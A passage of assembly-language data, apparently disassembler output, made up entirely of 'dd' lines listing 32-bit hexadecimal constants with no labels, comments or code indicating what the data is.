		dd 0A0314D5Ch, 47086C66h, 58730021h, 0A5BEC1AEh, 302496DFh
		dd 204318A8h, 739C087h,	0F1D9007Dh, 8957CBBCh, 9F524C19h
		dd 9E93008Ch, 9DA988C6h, 0F4AC0763h, 0B1E47F52h, 0EC5038F5h
		dd 66003262h, 0A3C3692Ch, 3E36F7ABh, 5B24C52Ah,	1F8F817Ch
		dd 2431915Ch, 7D0055E4h, 0A3AE09EBh, 95B66D4Ch,	5D5AD805h
		dd 0EB85C0E8h, 0A37D8D83h, 106F0400h, 312BC6C9h, 0ED9D05BFh
		dd 0D1B44B6h, 0EA929A0h, 701C84E8h, 7845C037h, 169D7F86h
		dd 70A694h, 1ADE9830h, 80C1C390h, 5654877Eh, 2B00F1A4h
		dd 0CA3C20AAh, 7AE49CBh, 4D9AD10h, 4D6ACF96h, 805F1180h
		dd 0AE08EB80h, 3D448C9Bh, 0EB880074h, 0AC11B755h, 0C6276608h
		dd 914C4037h, 6F0B24C2h, 0D1AC2118h, 28FC1943h,	0CA9109FCh
		dd 64905563h, 298057C3h, 51B23059h, 0C6E9A1F9h,	2C27B119h
		dd 0AA104518h, 49D9AC3h, 38BDA860h, 13C6AE04h, 0F08C0046h
		dd 99D74F8h, 45FAFBECh,	1718BCF8h, 839144F4h, 6CAD2730h
		dd 8E43848h, 28C18228h,	0F6F4B601h, 86849290h, 9B712C20h
		dd 0F47D0124h, 1872D880h, 85308863h, 7D3F414h, 0BF887CECh
		dd 0B6C913D5h, 2378A177h, 6940A1C0h, 0AF00860Ch, 0F22AFFFAh
		dd 67E64E71h, 0D0ABF977h, 569BAA38h, 68C0684Eh,	0A053F6B3h
		dd 51318180h, 0E2BA7CCh, 626BBEE0h, 36B30820h, 0CA12921Eh
		dd 44F7499Fh, 46805B28h, 0F49A0284h, 31AAD883h,	82331045h
		dd 208D60F4h, 7FF83E3h,	0A9177700h, 675D9819h, 91EB123Fh
		dd 0DC6CF087h, 38D7E801h, 3496C3D6h, 26BC1E00h,	0A5F65840h
		dd 61646440h, 5F6B76FDh, 2C738084h, 1A35E109h, 52002775h
		dd 5D02F2B1h, 4268EC9h,	0A755ABAFh, 5A4BC59h, 5792E52Bh
		dd 383AA421h, 0CDE09701h, 46247095h, 4C6FB4A8h,	601CB63Ah
		dd 0C4A78C80h, 9C89507Bh, 7E048C70h, 8AD87FF4h,	86002F38h
		dd 0DC343F4h, 0FACBC83h, 6A92F285h, 4D2C874h, 9029AE57h
		dd 0E2918188h, 0DC452328h, 8979841Eh, 64413252h, 878667F7h
		dd 0E00C302Eh, 9001F5BCh, 0AC931FA5h, 898AD4DEh, 80984C77h
		dd 0CCD32EB9h, 580930B4h, 80AC0251h, 93777DC3h,	50A0906Fh
		dd 4CC16CA8h, 3320785Ch, 88095F28h, 93006891h, 5E799787h
		dd 12DA0A4Eh, 5AF0412Ch, 47119417h, 325BA80h, 2313D8C2h
		dd 94E5B14Ch, 8277C001h, 52CB8C41h, 12B6CA00h, 0BC60FE24h
		dd 0C01C6BFh, 0FB917EF8h, 0C0D83252h, 43F8246Dh, 8C595899h
		dd 668FF02h, 805EA631h,	0CC1684BAh, 8CC74541h, 6497DCD1h
		dd 0E6AE7882h, 0B8C84AABh, 70B9AFA0h, 85AA24BEh, 2E362830h
		dd 40B74DADh, 0A0F91200h, 0A2B3D519h, 24981750h, 7104F030h
		dd 0E48683h, 5532D6EFh,	2F4BE293h, 0B8438F80h, 621F2094h
		dd 62C73C34h, 19108C88h, 0A807C69Bh, 1E0365Bh, 0AE04EB7Ch
		dd 3E0C4A7Bh, 0C0847888h, 0F1AE0D20h, 175A5510h, 698BB090h
		dd 25F3018Ch, 0FE680E54h, 70472F76h, 9BE010A2h,	4EA67A24h
		dd 0CAFC8227h, 82FA5721h, 0F7F4026Bh, 4C976F28h, 17805A11h
		dd 603DA188h, 0FA96DA00h, 95628558h, 0A68094C2h, 5A467484h
		dd 86B83400h, 0C4C95F0Ah, 5A18D513h, 36266905h,	49783CC1h
		dd 59F01840h, 0D9D00076h, 0C8F5E2D4h, 0B00A1ED7h, 0C035DFC6h
		dd 207830Bh, 51383F78h,	206F1DDCh, 1F46B0B0h, 7FAE8102h
		dd 453154AAh, 83596011h, 77278920h, 85890348h, 22ED24E5h
		dd 0FC33F9C1h, 7F00BFCEh, 46E16816h, 1625AFCFh,	0E6613FE3h
		dd 6B150058h, 0EFD1FEB4h, 68909F9Dh, 0D0A028D2h, 4626ABF6h
		dd 21B5784Eh, 0C083DC08h, 0D882F47Fh, 884B18E5h, 0DC98872Eh
		dd 903D077h, 12DF5ED3h,	0E436A0C2h, 91604F37h, 6F0734h
		dd 0FB3BBE66h, 0C4311882h, 850429B7h, 0EC02CCA1h, 0EB873056h
		dd 0C4C5074Eh, 7500448Bh, 35D5EB6Fh, 0CC1049CAh, 9504533Bh
		dd 0C7F5F9A9h, 9B7C50F0h, 0F231939Eh, 14E0890Fh, 0ACF1FCEDh
		dd 0BD5C92F8h, 0AD0D5005h, 3E73900h, 365DAB23h,	381FE0AFh
		dd 61B69813h, 4A339053h, 54406B78h, 0EB71BF14h,	38B80231h
		dd 53FAB3DCh, 3AD9B451h, 500D518h, 46B34834h, 17C90D86h
		dd 454C1FC6h, 256BDBACh, 8060E89Ch, 0ECBDF717h,	0BF0E0093h
		dd 51738FEDh, 0A516F69Fh, 7A16C735h, 411660B4h,	88A44E9Ah
		dd 706AC73Eh, 0E0C38C2Fh, 6E5450B8h, 0A49677A0h, 62A68A87h
		dd 0D1B6C430h, 7E5A4C44h, 0F01B0077h, 9ECAE4AFh, 300F376Eh
		dd 12607CE1h, 1C56A8C8h, 52AB076Ah, 75FCC070h, 8A9F630h
		dd 98217E69h, 0AA004B96h, 7C960F05h, 0F5A37504h, 1B8CE4FCh
		dd 28C5DE8h, 0AE0AEB7Eh, 44194A8Bh, 40867211h, 5CE119E7h
		dd 5E521102h, 720FDC12h, 0B4D60E10h, 0A0F54EAh,	613EC100h
		dd 8F0BEFC6h, 80B65B14h, 5A89D584h, 5E9014Eh, 7BC325C8h
		dd 23B82937h, 0EB7A0159h, 486BAE06h, 76884048h,	0B8EB0082h
		dd 2E563F48h, 910123C5h, 7829B3DAh, 1C703327h, 804EF6F2h
		dd 50B09322h, 0E4406896h, 3A9F92h, 1F3BB5C7h, 4FA1AB86h
		dd 0E521FF01h, 5DAFC669h, 0B3D88000h, 0E040D62Fh, 20F2EF90h
		dd 722651DFh, 465E6C89h, 0B34B003Ch, 54C4404Ah,	0ADCD0162h
		dd 63F42FF1h, 0AC98642Eh, 8048B330h, 0A20E18Eh,	0B658ECBCh
		dd 86810034h, 87E8E210h, 5362F001h, 6A2CDCF9h, 1ABCD82Ch
		dd 8C86008Ch, 91B3A0A6h, 335953CAh, 5FE708B0h, 0D686004Eh
		dd 424A06FBh, 40207AFFh, 1E0B1E2h, 7CCA020Fh, 760EFF7Fh
		dd 0F0171748h, 102E28E4h, 16277E4h, 20F194A6h, 643CF5D9h
		dd 18C62B8h, 0ACDE0383h, 29418AC3h, 2A4E1D64h, 229134E6h
		dd 9CAE8480h, 448C7CAAh, 5C5C7746h, 4EC80B5Eh, 1644355h
		dd 99685BF9h, 28F5DAACh, 8C63B8D4h, 0B6EA4000h,	0B7137409h
		dd 473F4804h, 81FFAB00h, 0F41733F7h, 504CC549h,	48C5884h
		dd 0AE05EB79h, 21426283h, 0D0EB8177h, 677ACAEh,	18202234h
		dd 8D470E0h, 412F1EE3h
		dd 87802191h, 0A4AA95AEh, 44225343h, 565F7632h,	0B2C0E358h
		dd 0F5B60042h, 0E0C55EA8h, 0F8813ABBh, 0B2084513h, 13384844h
		dd 484ABAE5h, 0B084DA84h, 88E1BBBEh, 487FD842h,	0BA5DB8D0h
		dd 8428EA18h, 85262346h, 74AA0AC3h, 5DD873E0h, 0A405E9AEh
		dd 8996D6F9h, 3A23202Bh, 0DA10207h, 38E4C1E0h, 420F22D0h
		dd 0D7971600h, 3C3EEF52h, 0B3989Eh, 0D1BBA9D6h,	0BD739D9Fh
		dd 4A09F57Ah, 0A44C52ADh, 0ACB5C3CCh, 19470C31h, 0E0F83CFh
		dd 6E59002Eh, 81DBBBEFh, 6013044h, 533DC7DAh, 226A24F5h
		dd 0C879EDF4h, 43096C24h, 0D730E83Dh, 32D811Ah,	0A0294089h
		dd 83048C1Dh, 84AA99AEh, 72224962h, 7E4C605Bh, 0E62914D9h
		dd 312DF0ACh, 9EC3B8E0h, 2DE81740h, 0C24698Ch, 0F80A6084h
		dd 4C09B580h, 6F00F065h, 6C63F822h, 1BC300BEh, 0D99346F1h
		dd 0B5123B11h, 50E5Dh, 603A267Ch, 9C003B23h, 291B1A69h
		dd 76C025EAh, 0B521F8A0h, 6200FB34h, 0BF01E523h, 0BFA710Ch
		dd 8F16617h, 1882F899h,	81F40980h, 449C9AD8h, 0F4882D00h
		dd 960C77C1h, 0B6850093h, 45AE2B9Dh, 6F5794B3h,	5D61B094h
		dd 5772CCCh, 0AC9604F5h, 233C593h, 0C9FC1220h, 0A840F0C2h
		dd 6C805C9Bh, 5C5894F7h, 1F004546h, 0E2432281h,	9358EE6Ah
		dd 2B331000h, 0AD306E02h, 90A93C3Ah, 7C028037h,	0A03E0E45h
		dd 85A997D4h, 2691E499h, 8500AFC2h, 0A4AA3095h,	0C9701258h
		dd 0DBD65D0Bh, 8838239Eh, 0B51EF089h, 36F217E3h, 0A420D766h
		dd 2FE4476Fh, 0B189514Ch, 19477900h, 0D682A0DBh, 15F224C3h
		dd 80E62D78h, 0E6AE2405h, 0CC904F73h, 0CD8E7h, 0B2FFD4CDh
		dd 3B9F542Ch, 97078B2Dh, 8E3F9120h, 810DA067h, 3D15F9Fh
		dd 7596A68Eh, 54C3C327h, 0C42ED805h, 0B4E95667h, 62A3300Bh
		dd 0D10344E6h, 22CD944Dh, 0EC7F803Dh, 58537725h, 2E4FB421h
		dd 26123F4h, 0C88D6D15h, 43170C40h, 1704B080h, 34E3E432h
		dd 0B8E8C2E0h, 0D02955E2h, 4C446CE7h, 91C0B360h, 0EEFFE61Dh
		dd 0C85B400Ah, 40302A0Bh, 17D4D99Ch, 4835A2DBh,	0B5801344h
		dd 0EF266337h, 0DCFC6Eh, 7F97CF51h, 4F1BAB11h, 0E84CA8C0h
		dd 17F40ED7h, 9A3C5BB6h, 0C01EC874h, 0DC0AC34Eh, 10945958h
		dd 0AE093E5Bh, 306067B6h, 160CBF86h, 0E9719031h, 60E27E37h
		dd 0E599C041h, 40126C57h, 2401D68Ch, 377A4D3Ch,	0D4284AC5h
		dd 48C3DBCh, 8CD3B060h,	0AB1CC0DDh, 0A9803FB2h,	0DACC164Bh
		dd 27900F1Dh, 0D3C73541h, 0F1A88C70h, 0E6BA157h, 97E515C3h
		dd 0EDD2CA2h, 3E446847h, 43C89D60h, 0D05A5D00h,	8675BDAFh
		dd 8BE03A95h, 0D8880978h, 285EF6FBh, 0A0C08216h, 7CD6897Bh
		dd 1881F7B3h, 9806E397h, 90087A2Ch, 2497A564h, 9C803D91h
		dd 102A5DFBh, 41FA9603h, 0DDDA9FFEh, 458B8404h,	0BF259210h
		dd 14821C42h, 5F3056E3h, 0FAC90013h, 22FBEE82h,	0C0BC411Bh
		dd 3C095291h, 74406BC7h, 0B6365A86h, 1DD08933h,	958751h
		dd 58928345h, 64A0CB5Ah, 2E28C52Ah, 558D859h, 3A9B13F0h
		dd 8830A8C8h, 0FD62D6A1h, 5E33B8h, 3403CA93h, 37120CB9h
		dd 5B37A0B3h, 5EE3D139h, 0DCD12B3Eh, 17102F9Ah,	0C1D34FF3h
		dd 41C83C8Bh, 0E66663C0h, 0C0109537h, 9C833973h, 3042DCC1h
		dd 24B9810Ch, 381845F9h, 749E8500h, 0BAF017AFh,	0E95D1E99h
		dd 0F2A94314h, 78193C77h, 0B5A06138h, 26F049C0h, 842436B3h
		dd 0A3696632h, 3045A234h, 392F3057h, 80D8EB78h,	0B1445Ch
		dd 0BC731B85h, 0BE86D0BDh, 2436B3Eh, 0D1AECBDEh, 1956000Ah
		dd 0BC987D1Eh, 0E8643748h, 3488C49h, 82C9122Bh,	1038A800h
		dd 7DEEE865h, 79540109h, 6D67AA5Ch, 884F7B0Eh, 8C51A71Ah
		dd 66591180h, 879312AEh, 900B89Bh, 90AF3122h, 20E3D750h
		dd 8014339Eh, 2574DA17h, 6CD995h, 0DC9BCA3Ch, 420215DFh
		dd 0AE105E82h, 0D8105732h, 0F600C349h, 0B29464DCh, 0EC43DFD1h
		dd 0C91102E8h, 312E8FF9h, 3D794C59h, 900E418h, 2DC65D67h
		dd 0C0F4482h, 40E6C54Bh, 0DB12D5D0h, 38F44592h,	2F59436Eh
		dd 27A41018h, 20549063h, 0B03B582Fh, 225D2FC6h,	19381F60h
		dd 0C08109C4h, 0A689DA8h, 6CF47599h, 4341BCBCh,	8E810069h
		dd 8CA5C615h, 91B87D5Ah, 65DA8DD4h, 8731D8D1h, 0C048F681h
		dd 1F18C426h, 48992885h, 5ABCE090h, 1A55008Ch, 0BD0C96Bh
		dd 3902A0BEh, 0A1E730C5h, 5844DB90h, 1200C76Eh,	0AEE9A78Fh
		dd 4AFBAAA9h, 0DD90A52Ah, 91A8575Bh, 2E1192E2h,	0B2C388C0h
		dd 850994Bh, 201043C2h,	4C42163Ah, 8C40B88Ch, 4227EA00h
		dd 4D383E68h, 8EE01F4h,	92BB5219h, 0F3DAC826h, 0E7A06E61h
		dd 0F1DAEC56h, 183BD15Ch, 2E24E802h, 0EE5E388h,	474CFBD6h
		dd 0D49881C8h, 2200DAE9h, 3EEF6D98h, 9F255C95h,	0B8B41860h
		dd 0D8088075h, 9361EE3h, 6C04278Bh, 0F070F146h,	0C1959A9Ch
		dd 487D7788h, 1681DA3Ch, 0BC92E152h, 3446004h, 0C8CE5E4Ah
		dd 10C042C8h, 83B267h, 9BFD97EFh, 0F7AC2FAFh, 8983B49h
		dd 271AEBAEh, 0A482F41Ah, 24024867h, 0BC426Fh, 0B1A0933Ch
		dd 975AF2DEh, 41EC8C13h, 55729BAAh, 1F207C25h, 0E69C1273h
		dd 4FC8044Bh, 0A435023Ah, 1210400Fh, 7A218046h,	84854702h
		dd 0E2C9AF93h, 161C56C0h, 0CA083091h, 0BF4E14BEh, 402074DBh
		dd 2E769CB0h, 72922CB4h, 0C30448B9h, 5AEB64h, 0D85E7D01h
		dd 0D4DA54B3h, 0EAC9897h, 6972DFC9h, 780B8B5h, 239179F8h
		dd 1F680087h, 0F71CE5F8h, 9A2BC01h, 57C731EBh, 20905DF2h
		dd 110176E9h, 0E0A2DB7Eh, 6D952D8h, 0D9ACC4h, 9C5EDD10h
		dd 0CEE88004h, 0DEFBEC0Bh, 0F350900Fh, 0BEB08867h, 28236EAh
		dd 46515F80h, 82497BCCh, 46309075h, 77E30055h, 1EA06E2Ch
		dd 0CE00B688h, 713B8F72h, 743ADA3h, 56EBA4AEh, 0B480C0BDh
		dd 2F4BAAE3h, 20D435h, 9E4DF3CAh, 0CC444560h, 0A1883454h
		dd 14C748F6h, 1044C058h, 0C3AA8863h, 144EBA26h,	5E420242h
		dd 57574484h, 870F5C6Eh, 50A5C074h, 3B6472C6h, 0A0A6D8A1h
		dd 6A209FCCh, 4B8B6810h, 54006CBFh, 46E2B3FCh, 294EE4ACh
		dd 4BE4C742h, 0C42E3490h, 0B8C86B4Ah, 0E42D5337h, 57095E22h
		dd 911DCADAh, 285A1Ch, 0AC932000h, 0DFB00602h, 9BCB2716h
		dd 2FDEC891h, 7626E024h, 22A4B003h, 0A10D558Eh,	381E5639h
		dd 4B33B041h, 2B107C2Dh, 0CA950436h, 10FCE2A1h,	490758D8h
		dd 173E0488h, 30D65B6Fh, 72ABB8CCh, 0DB684F67h,	26B44311h
		dd 4DAB880h, 98937F7Dh,	87A6DD00h, 9205E45Ah, 621491AFh
		dd 24D92D83h, 0EB183DD9h, 754E441Eh, 388858C0h,	62BF30E1h
		dd 3E3F689Eh, 780D2804h, 0A1143738h, 4AFC2AC6h,	0BC860552h
		dd 0CB7D221Ch, 38524F3Ch, 0C09C10E8h, 0F91CE2Dh, 0B10083FAh
		dd 0A22445F2h, 50D2DFBCh, 53F3B463h, 0C510884Eh, 0AD380A28h
		dd 1093E4CAh, 10CEE064h, 0D6C04588h, 0F0ACAF87h, 3CFF8FAh
		dd 3AA51ACAh, 3C89E97Ch, 500C6633h, 58409710h, 0EF6B098Eh
		dd 7CC44F67h, 60EABB02h, 0C6B74C52h, 90870218h,	37E29220h
		dd 0E23C8CA4h, 0A1B4535Ch, 0D40C701Ah, 7088874Bh, 8C0900A4h
		dd 0E7155446h, 9F014718h, 0E6AE0FBDh, 0C057177h, 0E4C938BCh
		dd 1891ED2Eh, 18F8B560h, 4A37056Ah, 1E569E9Dh, 3EA780B0h
		dd 0FAC9BC78h, 30506097h, 88DB130Bh, 0B138F689h, 5AF0F18Dh
		dd 898B3CCh, 0C38559FAh, 18CD4BF6h, 0F14D8EE0h,	930B101Ch
		dd 21BD4D9h, 74ABF04h
		dd 40E5CB89h, 38625AE4h, 130069FEh, 21424C68h, 0E3AE1275h
		dd 6C6080E2h, 0D6F870C9h, 298A0402h, 787AC26Dh,	0A9970080h
		dd 9814358Ch, 59CE4A76h, 7BF5A0AAh, 1263DE90h, 9A8C19Dh
		dd 0FCD4851Ch, 0E4BD1793h, 0FCDDB200h, 0F1E4CC74h, 0A3FC90E2h
		dd 34D87C4Fh, 0E663029Bh, 0A9AA7A66h, 3E0200Ch,	7D9C6AB1h
		dd 90BA5E79h, 0D6A45Eh,	28BA39DEh, 25C15C4Ch, 0DD168E01h
		dd 955A757Ah, 0FAC8F2C4h, 8B734E60h, 0C059C800h, 179B6A14h
		dd 1322400h, 0F035E0EEh, 80B496EFh, 1F61DECFh, 1402B54Bh
		dd 3F85D656h, 0E240E570h, 6718701Fh, 0BE256h, 5D94A996h
		dd 0BA89A8F5h, 0F6162BE4h, 0E88C8736h, 86F4099Bh, 8879A2D8h
		dd 0F4833260h, 785B7654h, 0CD1D00FFh, 0C9ADCA9Dh, 20B058F9h
		dd 0D8830504h, 0A0B6534Ah, 75CE27E0h, 0B0A2A300h, 0ABAF15D4h
		dd 59791CDDh, 0C8B4932Ch, 24AE0BCh, 0B01138C3h,	3FDAB75Ah
		dd 0DE4BC6FBh, 0D39A804Ch, 1233A1CDh, 4A9C27FBh, 5E94F774h
		dd 0A62C6146h, 0A5F51F71h, 5A11709Dh, 75848080h, 120197A5h
		dd 0D28F437Ah, 0AC789230h, 1358FDC0h, 28285DE0h, 7CB4BCD7h
		dd 1F465Eh, 0EC636DA8h,	1CAA8C7Fh, 0E815A9F0h, 0E04C0E58h
		dd 0E8870EDAh, 0C1B350DDh, 33262761h, 4840C419h, 36D630Eh
		dd 0D04BA798h, 2EB832DCh, 0A40908E7h, 0FCDFF0DEh, 5CD608F8h
		dd 623C050Fh, 0E8CFE291h, 5670B054h, 0E0F7B846h, 15C19EFDh
		dd 5C21D64Bh, 9C63BBEh,	0F340C4D4h, 7E1C3C6Ch, 2E330045h
		dd 0C2CA09DAh, 6D0189A6h, 5831F595h, 823B1EBDh,	6C402054h
		dd 514A5B90h, 3BC844CBh, 0F52BBBC0h, 613F15BEh,	492A0D4h
		dd 25232F8h, 0B58A0669h, 30803E30h, 7CE12DF5h, 0CB90A4C5h
		dd 84F2F2Eh, 0B188351h,	917DF809h, 605C5103h, 0FFF8236Ch
		dd 0AD037A00h, 0C993DEA3h, 3E1327BEh, 54C4042Bh, 0C831F400h
		dd 3E19B0C4h, 0AC640B05h, 58C17285h, 0E3D7018Bh, 0D02048E5h
		dd 0A629071Fh, 53FE3F0Fh, 0CEF1328Fh, 6A4DFD7Fh, 623C0822h
		dd 6164C2C0h, 0C13B1314h, 24B007A7h, 8800E098h,	0AC4F7441h
		dd 1340A628h, 0D35B2611h, 5E38664h, 9BA17D8Bh, 880AEB82h
		dd 0C0BBB3DBh, 429D2081h, 620D6631h, 303AE2FCh,	0AC03775Eh
		dd 0B34C2CE1h, 0E3B5F8A3h, 21574B26h, 6FBF24h, 0B7B19E90h
		dd 2EA92439h, 30209422h, 7E10AE5Eh, 61E06CAAh, 0CF01AE56h
		dd 0C9A6CA2Dh, 0B7CB5B07h, 4024CEA2h, 5FAA9179h, 34EC414Bh
		dd 0D323E313h, 3032112Ch, 0A05EDB0Bh, 9F277B34h, 0CFAC1237h
		dd 671C5C5Bh, 3DE4E845h, 0F0F68064h, 0C4903A45h, 28A05775h
		dd 0F279B293h, 3D95B53Bh, 920384A0h, 8F03FCAh, 284FE0Dh
		dd 0B5E91F4Dh, 117F56F5h, 0B0D8F708h, 47B80009h, 37F944D1h
		dd 6800B72Fh, 24498139h, 122090EEh, 67856973h, 87F82078h
		dd 16BD3391h, 1966005Ch, 0EDE532F8h, 4A049A89h,	1A2AC3D8h
		dd 0D50BD0F7h, 14E18ADBh, 0DFB46C2Eh, 0B4D8E08h, 4C5428E9h
		dd 9D90F8E7h, 3A305AF4h, 0CAAA15E1h, 84079598h,	0A664C87Ah
		dd 1FE8DC54h, 0F63A7043h, 449CBAA8h, 0DD003A1Ah, 0B7769687h
		dd 0E881067h, 2864E10Dh, 0A1198380h, 0E3E47A95h, 4CD19402h
		dd 5E6B96C5h, 3926887Ch, 0E4C4E525h, 81306045h,	0FBD82958h
		dd 0E37B0790h, 0D0D0978Dh, 2E9F4C10h, 0CA91A9C1h, 86557AFh
		dd 2E40646Eh, 701F10E8h, 0F0F7A7C0h, 2091182Fh,	0F386B901h
		dd 4D0D90Eh, 0C88A00E9h, 844A6CF5h, 4814299Ah, 5ECCF332h
		dd 4BC8C88Bh, 0E629D7C0h, 18CA0033h, 0CE3A113Dh, 734AC64Fh
		dd 5A5E50C0h, 5C279FB4h, 0CA1101AAh, 0FF89EFAh,	0DAF7860h
		dd 2E32AEFEh, 0EAC6822h, 904EC3D5h, 69751809h, 1D11101Fh
		dd 0BF419B80h, 0C53F54D9h, 4E6CC9EAh, 0E73088h,	1E45A3Ah
		dd 42B6B1A8h, 0CF81BCBEh, 4B22C3D4h, 0B2D25479h, 3047F210h
		dd 2200C89Dh, 0C984BF1Bh, 0A3398BC6h, 66B1BF94h, 43CA7B6h
		dd 1EEE8300h, 4BF41720h, 86093CB2h, 0E0629D54h,	26B806D8h
		dd 8A82827h, 97002965h,	5B5F8DA9h, 9C6F5CBEh, 0B011FAC0h
		dd 0D36AB345h, 21743019h, 68816943h, 75159C74h,	0F909FDCh
		dd 17F1B2DCh, 0EE67AB64h, 0E09E0C0Ah, 96FBD785h, 482064F4h
		dd 7710F46Dh, 0F02B9769h, 0C0694310h, 2FDA1EC3h, 5EDEEBAh
		dd 56C52D11h, 35E80534h, 80A0A8F5h, 4F288176h, 26D93B25h
		dd 0A2AA9587h, 0AC69B59Ah, 0B61080ACh, 1651D497h, 9A909127h
		dd 48E5C0B8h, 550E7FEh,	6ABBAAB9h, 2280EC66h, 20089837h
		dd 44844C5Bh, 4B5BC6F8h, 4580F418h, 12DA71E0h, 0F06A82FBh
		dd 3092EC10h, 0DC80B6h,	9EEB6723h, 893CAD2Dh, 0F08EA100h
		dd 66C0BF10h, 48B610EDh, 592D301Bh, 5E04C117h, 0C14894E8h
		dd 50640EB0h, 0AC3B8ACh, 0EDE06C60h, 3A17321Eh,	0E8607DF3h
		dd 4DBFBC38h, 0B740B082h, 671C0B0Ch, 406DF49h, 2896314Ah
		dd 341465Eh, 7E6AE19h, 3C68534Bh, 3F71E230h, 18241ADAh
		dd 3BC23C41h, 0F273046Ah, 301DE2B8h, 59102634h,	4E7C2FC9h
		dd 32E04018h, 200E52EEh, 0F75BCB07h, 0E7559B2Ch, 588F8884h
		dd 30694584h, 99D15AEh,	0F61A11Eh, 58CC1801h, 0AB9C34E4h
		dd 0B7883340h, 223FBC64h, 1A078EA2h, 31BDE0D3h,	5F1512h
		dd 92058014h, 0A3FBDC83h, 1D049F2Dh, 8E4411F8h,	540472CFh
		dd 0B4881796h, 55090190h, 9E5A0CCBh, 0C43021B0h, 625FEBFh
		dd 77F8C80Eh, 0CFFABEh,	0E28C5F39h, 3605402Bh, 28B61F1Ch
		dd 0A77D935Ch, 0CA7440D3h, 0B733EADEh, 0C7CC2C81h, 5E0E012Ah
		dd 2F2A7435h, 14523BCh,	16C3AB1Ch, 7D602257h, 30216E81h
		dd 42B2FC63h, 137E1830h, 0F0CAC3ACh, 0FB31DB90h, 0AA3326FEh
		dd 718BA2F1h, 8410B659h, 78348AE6h, 48149FDh, 0F87D4D97h
		dd 2F3EA710h, 65B0E9B8h, 0B416212h, 77508B46h, 2D40548Fh
		dd 40E4FC65h, 3484E560h, 2DEE0900h, 0AE1D1683h,	0ACC749C6h
		dd 1440802Ch, 1C409036h, 67D91493h, 0DB10D01Ch,	0E43B0416h
		dd 8E4D47ABh, 7AD7FCA9h, 0D041D024h, 0AD2E2D02h, 0E808662Ah
		dd 0CBFA06E5h, 48535BDEh, 0F840F15Eh, 107DC2B5h, 0F8D200ECh
		dd 0C0BADE31h, 9B02E829h, 0E200B4Dh, 0C6044A5Dh, 0A5BB0174h
		dd 83D28C99h, 0DD96C4C2h, 53141E00h, 44DC319Fh,	13A8A137h
		dd 0A1213902h, 88888401h, 910314D3h, 222C37DAh,	0B80A36D1h
		dd 0BC5112BBh, 0E8B82114h, 0CB028C42h, 0AE954B11h, 88F45C57h
		dd 0E80136C2h, 43EB08A6h, 1EA18C63h, 3DE0C70h, 0D95DB311h
		dd 0AD91A915h, 0ACD8EAC3h, 1F75ED17h, 1FDB2409h, 803E9174h
		dd 0A3B7CB9Fh, 0A99200F5h, 954C3FF7h, 870BEAE0h, 0C976D002h
		dd 7D18848h, 3F8909FCh,	0A004C9B7h, 0C80E3123h,	630060A0h
		dd 0A3196D45h, 0D4B752h, 0C718BF75h, 0D20F8791h, 2488254Ch
		dd 465EF48Ah, 9E1003Ch,	54689530h, 57B309B1h, 0C85CEFE9h
		dd 86BDCD80h, 389118C6h, 0D10166C2h, 48825E13h,	0EDD6F447h
		dd 4620E4B0h, 4480B73Eh, 7E37C6FAh, 0AFFEB802h,	0F41ACFDEh
		dd 615F84C0h, 4CF6563Fh, 0D3C22CA3h, 6FE3AEE1h,	0B4B00052h
		dd 0B03040A3h, 80EBE678h, 0B3DC8970h, 2826CB4Ch, 26867133h
		dd 829C8414h, 5DF8FEAEh, 40ABC0C0h, 365CB400h, 0A02F500Ch
		dd 517800EEh, 0BBAF1E04h, 589AA5C5h, 762DCB10h,	7CD74A00h
		dd 0A7D164D2h, 78C9366Bh, 0CC7CFFECh, 4025522h,	829C1E34h
		dd 88F45E66h, 0AC0F53EAh, 70D8E9ABh, 0AF063C34h, 0D3775113h
		dd 82C1F9FCh, 58307E58h
		dd 4DBED3D5h, 0BB0C9C43h, 0EB593DCEh, 7480E25Fh, 48ADE662h
		dd 0D72D684Ah, 1B67C20h, 132DB0FAh, 88089790h, 64606940h
		dd 0B2D978Dh, 0D1BA6CBh, 0AC805476h, 20DF8196h,	39D100EAh
		dd 45684923h, 450DEE8h,	47447B88h, 46B12F59h, 3EBA6C90h
		dd 9A0CF1D6h, 0A0D837h,	20655B01h, 17F8E972h, 4B2DAA71h
		dd 8BC593Ch, 102437CBh,	0F8297E0Ch, 46F125A1h, 0B542C871h
		dd 0E72E0027h, 0DE74B186h, 0A5485254h, 4EC32744h, 3E81242h
		dd 23C424C0h, 1B445015h, 0C77D2D18h, 603CC4C0h,	315A48Dh
		dd 83323987h, 22F19B5Eh, 25823DBh, 0A49CA997h, 0EFBE41CEh
		dd 9340072Ah, 0B42B15DCh, 55404B90h, 47AE4B4Ch,	1175A9B8h
		dd 2B5A9582h, 13DC808Dh, 54FC3DB7h, 0C0C80E25h,	1900E725h
		dd 2002AD3Ch, 0A89208E4h, 9BEE3FCh, 0D64CF6EDh,	73445058h
		dd 39F91612h, 0E028B53Eh, 814A04C9h, 47F230F2h,	2D3A9E30h
		dd 8CD86AFEh, 728BBE18h, 54C327B0h, 0F84EF86Fh,	0F7455A0Fh
		dd 4B6003Ch, 296730D7h,	45A01727h, 0F1F421B8h, 1F698059h
		dd 57B95A5h, 4B200CDh, 3AAF47F0h, 2A1750AAh, 14453E9Dh
		dd 0F8CE36F6h, 9DC04988h, 62BDD87h, 0C2C564C3h,	0BC98513Dh
		dd 77B2E44h, 0B0952491h, 0F5E8002Dh, 8BB53905h,	71E859D8h
		dd 4FF1864h, 1206FA56h,	95189041h, 2508B69Bh, 74C47C3h
		dd 7927DEAEh, 6B20D4FAh, 8099733h, 912E4430h, 0CB4158B4h
		dd 58BE103Eh, 195B9518h, 8CA4AD59h, 0EC55017h, 0FB38487h
		dd 85193C43h, 0B8B5C400h, 6B6C553Dh, 8EE53401h,	306D86F5h
		dd 0A7C27C89h, 90978CD8h, 0F901578h, 2B397A1Ch,	0E166D280h
		dd 9F01EA6Bh, 0FF22CE67h, 8E615529h, 0BE91DB06h, 48465E54h
		dd 5218ED00h, 34B347F6h, 0B210829Fh, 0D81A558Fh, 2D52F0C9h
		dd 2D36209Ch, 0E8223889h, 0A9384806h, 2EC57994h, 24A02E0Bh
		dd 0EAB10C3Ch, 2F601921h, 80F17A29h, 0FB40F7B8h, 0BDF9B2h
		dd 52EEFE4h, 6E20B47Fh,	0A3B64C12h, 0B284C4BCh,	8A7C8159h
		dd 0E2A06373h, 39293043h, 3B24ED16h, 38E99F12h,	44DD710h
		dd 5532D856h, 1DF178F2h, 4FC01870h, 0C820CBACh,	8F60CE3Eh
		dd 174BFC13h, 629BAB12h, 0F2D28CEDh, 3140F2F0h,	0C821612Eh
		dd 0C1F4B049h, 603B7625h, 26E6E314h, 4A106EE0h,	5DD0088h
